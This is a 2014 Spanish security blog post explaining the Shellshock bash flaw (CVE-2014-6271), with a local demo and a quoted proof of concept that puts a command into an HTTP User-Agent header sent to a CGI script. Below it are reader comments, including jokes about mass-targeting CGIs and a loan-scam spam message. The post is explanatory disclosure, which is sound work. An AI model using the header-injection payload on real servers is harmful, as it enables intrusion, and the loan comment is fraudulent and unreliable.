24 septiembre 2014

Grave vulnerabilidad en bash ~#☢

Se acaba de publicar una vulnerabilidad crítica en bash, el interprete de comandos de Linux y muchos otros sistemas Unix (incluido OSX), que también parece afectar a otros interpretes como zsh, tcsh, csh y ksh . pero no a otros otras shells. Se ha identificado con el registro: CVE-2014-6271 y seguro que dará mucho que hablar los próximos días.

Mediante esta vulnerabilidad es posible ejecutar comandos debido al incorrecto procesado de las variables de entorno, en determinadas circunstancias, esto puede ser explotable remotamente.

El problema reside en que bash permite la declaración de funciones (como cualquier otro lenguaje interpretado) y no son validadas correctamente cuando son almacenadas en una variable. Con ejemplos seguro que se ve mejor.

Una función se declara de la siguiente forma:

aramosf@digitalsec:~$ cat test.sh
#!/bin/bash
function hola () {
     echo "Hola mundo"
}
hola
aramosf@digitalsec:~$ bash test.sh
Hola mundo

Pero por desgracia bash procesa todo el contenido de la variable y continua ejecutando incluso cuando termina la función:

aramosf@digitalsec:~$ VAR="() { echo 'Hola mundo'; }; echo 'Adios mundo'" bash -c "echo Prueba"
Adios mundo
Prueba

En la prueba anterior, se esperaba que únicamente se mostrase "Prueba", pero acaba procesando el echo de "Adios mundo".

Esto tiene implicaciones en servicios remotos, en especial en páginas web con CGIs que leerán las variables enviadas por el cliente como cabeceras (y que pueden contener comandos) y ejecutarán su contenido cuando se invoque bash. Explotar CGIs escritos en bash será trivial y aunque parezca mentira, existen miles:


Otras implicaciones conocidas hasta ahora, pero que seguro que aumentan estos días, son:
  • Uso en ForceCommand de SSH para limitar capacidades de ejecución de comandos
  • Otros CGI (como php, perl, etc) que lancen subshells con llamadas del tipo system()
  • Clientes DHCP que lancen shells.
  • Herramientas y aplicaciones con SUID que invoquen bash para alguna acción.
  • Sistemas móviles que utilicen bash, como Android
  • Otros sistemas con Linux, como routers (que generalmente lanzan pings, traceroutes, etc), modems, televisores, etc..
La alegría de la huerta. Nos esperan días con muchas noticias sobre nuevos impactos, Eso seguro. 

Para solucionar el problema tan solo hay que esperar a que saquen el parche (y funcione), cosa que ya ha ocurrido en las distribuciones más populares, pero que tardará tiempo en sistemas embebidos o poco mantenidos.

Ejemplo de un código vulnerable y su explotación sacado de un comentario de reddit:

print 'hello world!'[root@host cgi-bin]# rm -fr /tmp/aa
[root@host cgi-bin]# cat /var/www/cgi-bin/hi
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "hai"
[root@host cgi-bin]# curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa'  https://localhost/cgi-bin/hi
hai
[root@host cgi-bin]#  tail -n1 /var/log/httpd/ssl_access_log
::1 - - [24/Sep/2014:18:22:05 +0200] "GET /cgi-bin/hi HTTP/1.1" 200 4 "-" "() { :;}; echo aa>/tmp/aa"
[root@host cgi-bin]#  ls -l /tmp/aa
-rw-r--r--. 1 apache apache 3 24 sept. 18:22 /tmp/aa
[root@host cgi-bin]# sestatus
SELinux status:                 enabled
[root@host cgi-bin]# yum update

Referencias:

14 comments :

Jorge dijo...

La que se va a liar...

Rulo dijo...

Esta cabrona enviar en el User-Agent un comando a ver si pega a un cgi :P

Jorge dijo...

Yo ya tengo el Referer "personalizado".

Mira este que majo haciendo scaneos: http://blog.erratasec.com/

minsqui dijo...

:o seguiremos atentos a las breaking news, que esto tiene pinta de candidato a los pwnie :)

Rulo dijo...

;O , eso se ve bastante chido!! intentar inurl:*.cgi e irle pegando a todo ... jaja no es cierto :)

Turo dijo...

Queridos reyes magos aunque todavia falte mucho para navidad..... -;)

Ronny Vasquez dijo...

Excelente herramienta, ya la instalaremos en la N7

Ronny Vasquez dijo...

Ufff excelente, esto tiene buen potencial, ya quiero ver que consecuencias tendra en todo el mundo.

jm dijo...

Vaya. Si lo sorprendente en el exploit que poneis es que se ejecute el contenido de una cabecera para asignarlo a una variable
Si manda 'User-Agent: rm -rf' ¿ tambien lo ejecuta ? En ese caso sería una vulnerabilidad de Apache

Anonimo dijo...

No, no es un fallo de Apache. Solo se ejecutará el contenido de dicha cabecera HTTP si es almacenada en una variable en bash. De ahí que se busquen páginas que invoquen a un script en bash.

Ronny Vasquez dijo...

Esta interesante, únicamente tomen en cuenta que hay que tener a mano un OTG Usb para usar la mayoría de herramientas.

José Enrique Ayala dijo...

Lo he probado en mi Nexus 7 (2012) y me ha respetado lo que ya tenía instalado en la tablet.

Iván G. G. dijo...

Vaya bombo se le está dando a esta vulnerabilidad... y otras vulnerabilidades que a mi juicio son mas críticas que esta y en entornos mucho mas críticos no aparece nada.. :-/

Loan Offer dijo...

Hola,

Esto es para informar al público en general que el Sr. Ben Davis, un privado

prestamista de préstamo tiene abrir una oportunidad financiera para cada uno en necesidad de cualquier ayuda financiera. Damos préstamos a tasa de interés del 2% para las personas, las empresas y las empresas bajo un términos y condiciones claras y comprensibles. póngase en contacto con nosotros hoy por correo electrónico.

DATOS DEL DEUDOR

1) Nombre completo: .......................................................

2) País: ......................................................... ..

3) Dirección: ..........................................................

4) Estado: ............................................................ ..

5) Sexo: ................................................................

6) Estado Civil: .................................................

7) Ocupación: ................................................... ..

8) Número de teléfono: ................................................

9) En la actualidad la posición en el lugar de trabajo: .....................

10) Ingreso mensual: .............................................

11) Monto del préstamo necesario: .....................................

12) Duración del préstamo: ................................................

13) Propósito del Préstamo: .......................................... ..

14) Religión: ...................................................... ..

15) ¿Ha aplicado antes .................................

gracias,

Organisationu Servicios Financieros